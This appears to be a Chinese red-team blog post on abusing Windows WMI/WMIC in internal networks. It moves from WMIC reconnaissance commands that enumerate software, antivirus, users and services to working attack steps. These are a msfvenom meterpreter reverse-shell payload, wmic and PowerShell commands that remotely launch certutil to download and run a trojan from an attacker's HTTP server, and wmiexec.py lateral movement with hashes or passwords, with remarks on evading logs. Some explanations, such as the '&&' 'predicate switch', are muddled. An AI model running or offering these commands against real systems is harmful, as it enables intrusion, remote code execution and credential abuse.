首页 > 其他分享 >【内网攻防】WMI的利用

【内网攻防】WMI的利用

时间:2025-01-17 23:42:59浏览次数:1  
标签:攻防 exe get 获取 利用 WMI wmic test

# 红队 # 红蓝对抗 # 内网攻防

WMI简介

WMI,全称Windows Management Instrumentation,是微软开发的一种用于管理Windows系统的工具。你可以把它想象成一个数据库工具,它存储了关于你的电脑的各种信息,比如系统、应用程序、网络和设备等。

WMI使用了一种特殊的方式来表示这些信息,叫做通用信息模(CIM)。通过这个模型,我们可以方便地从远程计算机获取管理数据,也就是说,你可以在自己的电脑上查看和管理其他电脑的信息。

此外,WMI还允许我们通过编程和脚本语言(比如VBScript和JScript)来编写管理任务的脚本和应用程序。这就意味着,通过简单的命令或脚本,我们就可以执行各种复杂的管理任务,比如查询系统信息、更改系统设置、管理服务和设备等。

利用WMIC进行信息收集

WMIC是Windows Management Instrumentation Commandline的简称,是WMI的命令行版本,WMIC允许用户通过简单的命令行指令来执行系统管理任务,如查询系统信息、更改系统设置、管理服务和设备等。

所以攻击者就可以利用WMIC进行内网的信息收集工作,例如:

wmic product get IdentifyingNumber, Name, Version, Vendor

可以获取到已安装的程序信息

获取硬盘的型号、容量和分区等信息:

wmic diskdrive get Model, Size, Partitions

回显杀毒软件名称:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

我电脑有自己装的火绒和Windows Defender所以回显了这两个杀毒
软件名字。
回显杀毒软件安装路径:

WMIC /namespace:\\root\securitycenter2 path antivirusproduct get displayname,productstate,pathtosignedproductexe

获取操作系统信息:

wmic os get Caption, Version, OSArchitecture

还有其它的一些常用命令:

wmic computersystem get caption, domain //获取主机名和域名
wmic cpu get name, numberofcores, maxclockspeed, l2cache
size //获取CPU详细信息
wmic useraccount get name, type, disabled//获取当前用户和组
wmic localgroup get name, groupcategory, members//获取当前用户和组
wmic service get state, name, startmode, pathname, proces
sid //获取所有服务的状态
wmic nicconfig get macaddress, ipaddress //获取网络适配器的MAC地址和IP地址

WMIC远程获取shell

而前面也说了WMIC还有远程管理文件和操作计算机的功能,所以我们可以利用这一点去远程操纵计算机获取shell。
首先我们用Kali生成一个test的木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1909 -f exe >test.exe

然后python起一个监听8080端口,这样我们后续远程用8080端口去下载test.exe木马就能明显的看到效果。

然后用跳板机运行Wimc命令远程连接已知密码的目标机器

wmic /node:192.168.1.1 /user:Administrator /password:Password@test process call create "cmd.exe"

<remote_computer_name>是要连接的远程计算机的名称或IP地址,<username>是要使用的用户名,<password>是对应的密码.

这段命令的作用就是远程连接到 <remote_computer_name> 计算机的 <username> 用户并且创建一个进程运行cmd.exe程序.

而下一步就是将shell下载到目标计算机,这一步中我们需要在新的进程中下载certutil.exe用于我们test.exe木马的安装,把这一步命令和前面连接计算机的命令结合就是:

wmic /node:192.168.1.1 /user:Administrator /password:Password@test 
process call create "cmd.exe" /c certutil.exe -urlcache -f -split 
http://192.168.1.2:8080/test.exe&&test.exe

把这一步写成powershell代码就是:

$ip = "192.168.1.1"
$username = "Administrator"
$password = "Password@test"
$url = "http://192.168.1.2:8080/test.exe"

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)

Invoke-Command -ComputerName $ip -Credential $credential -ScriptBlock {
    cmd.exe /c "certutil.exe -urlcache -f -split $url"
}

Kali端成功回显并且在目标机中也发现test.exe文件.

值得注意的是这段命令中的test.exe&&test.exe中的&&叫做谓词开关,我们可以在这里添加运行其它命令,例如写成:

/test.exe /nobreak && test.exe

/nobreak 是表示新进程完成后不要中断。

&& start test.exe 则表示在新进程执行完毕后启动test.exe程序。

利用WMI进行域横向

看完前面的操作相信师傅们也大致对WMI进行横向渗透也有了一定的思路。

Kali中提供了一个非常方便就能利用WMI进行横向渗透的工具,就是 wmiexec

用法也是非常简单,常用的两种为利用Hash或是和前面远程获取shell一样利用密码获取shell.

利用hash获取shell:

python3 wmiexec.py -hashes xxxxxxxxxx:xxxxxxxx Admin@192.168.1.1 "ipconfig"

利用密码getshell:

python3 wmiexec.py Admin:123456@192.168.1.1

其余的横向命令,理解WMIC命令后也是很简单,例如:

wmic /node:目标IP地址 /user:用户名 密码 /output:输出文件路径 systeminfo > 输出文件路径   //获取远程计算机的系统信息
wmic /node:目标IP地址 /user:用户名 密码 process get ProcessId,ProcessName,CommandLine > 输出文件路径   //获取远程计算机的进程信息
wmic /node:目标IP地址 /user:用户名 密码 service where "Name='服务名称'" call start > nul || wmic /node:目标IP地址 /user:用户名 密码 service where "Name='服务名称'" call stop > nul   //启动或停止远程计算机上的服务

总结

实际上wmicexec进行横向渗透时,Windows操作系统默认不会将WMI的操作记录在日志中同时无需将wmicexec.py移动到目标机上,所以隐蔽性较高,因为WMI是Windows的管理工具,所以大多数基于Windows的软件都依赖于此服务,所以利用成功率是较高的,而缺点就是有时占用较大容易把系统搞崩再不济就是同样搞蓝屏。

原创 Flowers aq flower安全

标签:攻防,exe,get,获取,利用,WMI,wmic,test
From: https://www.cnblogs.com/o-O-oO/p/18677836

相关文章

  • 【Windows攻防】恶意软件容器化
    #windows微软在2022年7月为了帮助用户保持安全,在Office中默认阻止了internet宏。阻止从Internet下载的文档中的VBA宏。接下来我们来了解一下MOTW标记,其实就是网络标记。什么是MOTW标记?MOTW全名MarkoftheWeb,他是windows操作系统中的一个安全特性,为了帮助用户在处理下载文......
  • Agent系列(一)——利用OpenAI快速搭建简易Agent
    目录1、Agent 简介1.1Agents的核心组件1.1.1模型(Model):1.1.2工具(Tools):1.1.3编排层(OrchestrationLayer):1.2Agents的运作机制:从输入到输出 2、搭建简易的Agent 2.1模型准备2.1.1获取 api_key2.1.2获取base_url和chat_model2.2搭建Agent2.2.......
  • NTP北斗校时 是指利用中国的北斗卫星导航系统(BeiDou Navigation Satellite System,简称
    NTP北斗校时是指利用中国的北斗卫星导航系统(BeiDouNavigationSatelliteSystem,简称BDS)提供的时间信息来进行网络时间同步(NTP)。与传统的基于GPS的时间同步不同,北斗卫星系统作为一个独立的全球卫星导航系统,也能够为设备提供精确的时间源,进而支持通过NTP协议进行时间同步。1. 北......
  • 如何利用Youtube引流打造高转化率的独立站?
    在跨境独立站的运营过程中,流量获取无疑是成败的关键因素。YouTube,作为海外视频领域的领军平台,其价值远不止于视频娱乐。它更是一个极具潜力的引流利器,能够为独立站带来持续稳定的自然流量,并精准定位目标受众。借助YouTube,商家可以将产品信息以生动直观的视频形式呈现给潜在客户......
  • 利用AI大模型实现个性化视频配音
    打造个性化AI视频配音​​最近,我萌生了拍摄短视频的念头,希望通过这个平台与大家分享一些AI技术的实际应用。然而,在准备过程中,我遇到了一个难题——配音。家里的环境嘈杂,收音设备也不够专业,这让在录制配音时感到非常难受。一开始,我考虑使用机器配音来解决这个......
  • 计算机毕业设计Springboot运动健康APP 基于Spring Boot框架的健身与健康管理移动应用
    计算机毕业设计Springboot运动健康APPu8mr9vrk(配套有源码程序mysql数据库论文)本套源码可以先看具体功能演示视频领取,文末有联xi可分享随着科技的飞速发展和人们对健康生活方式的追求,运动健康APP应运而生,成为现代生活中不可或缺的健康管理工具。这类APP不仅能够帮助用户记......
  • 计算机毕业设计Springboot基于VUE的非物质文化遗产分享管理系统 基于Springboot与VUE
    计算机毕业设计Springboot基于VUE的非物质文化遗产分享管理系统w5i528n6(配套有源码程序mysql数据库论文)本套源码可以先看具体功能演示视频领取,文末有联xi可分享随着数字化时代的到来,非物质文化遗产的保护与传承面临着新的机遇与挑战。传统的保护方式已难以满足现代社会的......
  • 谷歌地图 | 利用 Google 地图平台重新定义叫车体验
    【Google地图平台使Alto能够为乘客提供安全、一致、高质量的乘车体验,同时为驾驶员提供准确、直观的应用内导航功能。】GoogleMaps谷歌地图|亚太地区谷歌地图代理商-CloudAce​cloud-ace.cn/services/google-maps-platform/GoogleCloud结果将司机引导至准确的上车......
  • 如何利用工时管理工具实现精准排班与流程优化
    一、传统工时管理的痛点传统工时管理工具虽然提供了基本的工时记录和排班功能,但在应对复杂环境时往往力不从心:手动操作复杂:管理员需要花费大量时间处理排班、调整班次和管理员工工时。无法快速响应变化:员工请假、突发任务等情况常导致排班混乱,增加人力成本。缺乏数据驱动决策:......
  • 利用Python按关键字搜索阿里巴巴商品:代码示例与实践指南
    在电商领域,能够快速获取商品信息对于市场分析、选品上架、库存管理和价格策略制定等至关重要。阿里巴巴作为全球最大的电商平台之一,提供了丰富的商品数据。虽然阿里巴巴开放平台提供了官方API来获取商品信息,但有时使用爬虫技术来抓取数据也是一种有效的手段。本文将介绍如何利......